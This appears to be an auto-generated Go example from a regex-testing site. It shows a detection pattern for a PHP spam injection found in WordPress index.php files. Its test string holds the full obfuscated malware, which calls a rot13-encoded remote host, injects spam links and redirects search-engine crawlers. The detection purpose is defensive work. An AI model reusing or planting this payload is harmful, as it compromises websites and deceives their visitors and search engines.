package main
import (
"regexp"
"fmt"
)
func main() {
var re = regexp.MustCompile(`(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)`)
var str = `<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\" title=\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
`
for i, match := range re.FindAllString(str, -1) {
fmt.Println(match, "found at index", i)
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Golang, please visit: https://golang.org/pkg/regexp/